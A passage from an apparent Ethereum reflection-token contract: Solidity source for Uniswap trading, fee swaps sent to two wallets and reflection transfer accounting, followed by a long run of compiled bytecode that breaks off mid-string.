assert(IWETH(WETH).transfer(uniswapV2Pair, balance));
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = c;
path[1] = WETH;
_approve(c, address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp);
}
function sendETHToFee(uint256 ETHamount) private {
payable(wallet1).transfer(ETHamount / 2);
payable(wallet2).transfer(ETHamount / 2);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
WETH = uniswapV2Router.WETH();
_approve(c, address(uniswapV2Router), ~uint256(0));
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH);
uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp);
maxTx = 20; // 2%
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0));
tradingOpen = true;
swapEnabled = true;
}
function manualswap() external {
uint256 contractBalance = balanceOf(c);
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = c.balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) nofees();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity * currentRate;
_rOwned[c] = _rOwned[c] + rLiquidity;
_tOwned[c] = _tOwned[c] + tLiquidity;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount * taxFee / 100;
uint256 tLiquidity = tAmount * LiquidityFee / 100;
uint256 tTransferAmount = tAmount - tFee - tLiquidity;
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rLiquidity = tLiquidity * currentRate;
uint256 rTransferAmount = rAmount - rFee - rLiquidity;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function excludeFromReward(address addr) internal {
require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router');
require(!_isExcluded[addr], "Account is already excluded");
if(_rOwned[addr] > 0) {
_tOwned[addr] = tokenFromReflection(_rOwned[addr]);
}
_isExcluded[addr] = true;
_excluded.push(addr);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190613a83565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190613670565b6103f6565b6040516101629190613a68565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190613ba5565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b8919061361d565b610423565b6040516101ca9190613a68565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f59190613583565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613c1a565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b5061026560048036038101906102609190613583565b61061e565b6040516102729190613ba5565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b4919061399a565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df9190613a83565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190613670565b6108c2565b60405161031c9190613a68565b60405180910390f35b34801561033157600080fd5b5061034c600480360381019061034791906136b0565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e91906135dd565b6110d2565b6040516103b09190613ba5565b60405180910390f35b60606040518060400160405280600581526020017f51494c494e000000000000000000000000000000000000000000000000000000815250905090565b600061040a610403611159565b8484611161565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132c565b6104d08461043c611159565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486611159565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613dbc565b611161565b600190509392505050565b6104e3611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790613ae5565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611d62565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4f565b90505b919050565b610711611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079590613ae5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f51494c494e000000000000000000000000000000000000000000000000000000815250905090565b60006108d66108cf611159565b848461132c565b6001905092915050565b6108e8611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90613ae5565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999614007565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613ecf565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611eb6565b50565b610a4d611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190613ae5565b60405180910390fd5b6013600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190613b65565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f91906135b0565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5091906135b0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce9291906139b5565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2091906135b0565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f5396959493929190613a07565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa59190613726565b5050506014601360086101000a81548161ffff021916908361ffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016110479291906139de565b602060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109991906136f9565b5060016013600a6101000a81548160ff02191690831515021790555060016013600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613b45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123890613ac5565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161131f9190613ba5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139390613b25565b60405180910390fd5b600081116113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d690613b05565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148c57600080fd5b6114946120f1565b61149c61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150a57506114da61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152257506013600a9054906101000a900460ff165b15611c88576013600b9054906101000a900460ff16611754573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fd5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169d611159565b73ffffffffffffffffffffffffffffffffffffffff1614806117135750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fb611159565b73ffffffffffffffffffffffffffffffffffffffff16145b611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613b85565b60405180910390fd5b5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ff5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e57506013600b9054906101000a900460ff16155b15611996576064601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118dd576103e8601360089054906101000a900461ffff1661ffff1666038d7ea4c680006118c69190613d62565b6118d09190613d31565b8111156118dc57600080fd5b5b60006032601360009054906101000a900467ffffffffffffffff166119029190613f49565b67ffffffffffffffff1614801561193a57506000601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff1614155b1561194857611947612103565b5b6013600081819054906101000a900467ffffffffffffffff168092919061196e90613f18565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611a415750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a975750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ab057506013600b9054906101000a900460ff16155b15611b51576013600c9054906101000a900460ff1615611b50576000611af7600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611b29600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611b339190613d62565b611b3d9190613d31565b811115611b4e57611b4d81612115565b5b505b5b6013600b9054906101000a900460ff16611c8757600a601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bad57601e601360086101000a81548161ffff021916908361ffff1602179055505b6019601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bf5576028601360086101000a81548161ffff021916908361ffff1602179055505b6032601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611c3d576032601360086101000a81548161ffff021916908361ffff1602179055505b603c601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611c86576103e8601360086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d4657506013600b9054906101000a900460ff165b15611d5057600090505b611d5c8484848461230c565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600283611dab9190613d31565b9081150290604051600060405180830381858888f19350505050158015611dd6573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600283611e209190613d31565b9081150290604051600060405180830381858888f19350505050158015611e4b573d6000803e3d6000fd5b5050565b6000600f54821115611e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8d90613aa5565b60405180910390fd5b6000611ea0612555565b90508083611eae9190613d31565b915050919050565b6000600267ffffffffffffffff811115611ed357611ed2614036565b5b604051908082528060200260200182016040528015611f015781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611f3b57611f3a614007565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611fac57611fab614007565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612035600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016120bb959493929190613bc0565b600060405180830381600087803b1580156120d557600080fd5b505af11580156120e9573d6000803e3d6000fd5b505050505050565b6002601181905550600c601281905550565b60006011819055506000601281905550565b60016013600b6101000a81548160ff02191690831515021790555061213981611eb6565b60006002600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316121819190613d31565b905061218c81611d62565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156121f657600080fd5b505af115801561220a573d6000803e3d6000fd5b5050505050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b815260040161228e9291906139de565b602060405180830381600087803b1580156122a857600080fd5b505af11580156122bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122e091906136f9565b6122ed576122ec613f7a565b5b5060006013600b6101000a81548160ff02191690831515021790555050565b8061231a57612319612103565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123bd5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123d2576123cd848484612579565b61254f565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124755750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561248a576124858484846127c4565b61254e565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561252c5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125415761253c848484612a0f565b61254d565b61254c848484612ce8565b5b5b5b50505050565b6000806000612562612ea5565b9150915080826125729190613d31565b9250505090565b60008060008060008061258b87613157565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e29190613dbc565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126709190613dbc565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fe9190613cdb565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061274a816131b9565b612754848361337e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127b19190613ba5565b60405180910390a3505050505050505050565b6000806000806000806127d687613157565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d9190613dbc565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128bb9190613cdb565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129499190613cdb565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612995816131b9565b61299f848361337e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129fc9190613ba5565b60405180910390a3505050505050505050565b600080600080600080612a2187613157565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a789190613dbc565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b069190613dbc565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b949190613cdb565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c229190613cdb565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c6e816131b9565b612c78848361337e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612cd59190613ba5565b60405180910390a3505050505050505050565b600080600080600080612cfa87613157565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519190613dbc565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ddf9190613cdb565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2b816131b9565b612e35848361337e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612e929190613ba5565b60405180910390a3505050505050505050565b6000806000600f549050600066038d7ea4c68000905060005b60098054905081101561311757826001600060098481548110612ee457612ee3614007565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612fd25750816002600060098481548110612f6a57612f69614007565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612fee57600f5466038d7ea4c6800094509450505050613153565b600160006009838154811061300657613005614007565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836130779190613dbc565b9250600260006009838154811061309157613090614007565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826131029190613dbc565b9150808061310f90613ecf565b915050612ebe565b5066038d7ea4c68000600f5461312d9190613d31565b82101561314a57600f5466038d7ea4c68000935093505050613153565b81819350935050505b9091565b60008060008060008060008060006131748a6011546012546133aa565b92509250925060008060006131928d868661318d612555565b613416565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b60006131c3612555565b9050600081836131d39190613d62565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132429190613cdb565b60016000600a60009054906101000a900473ffffffffffffffff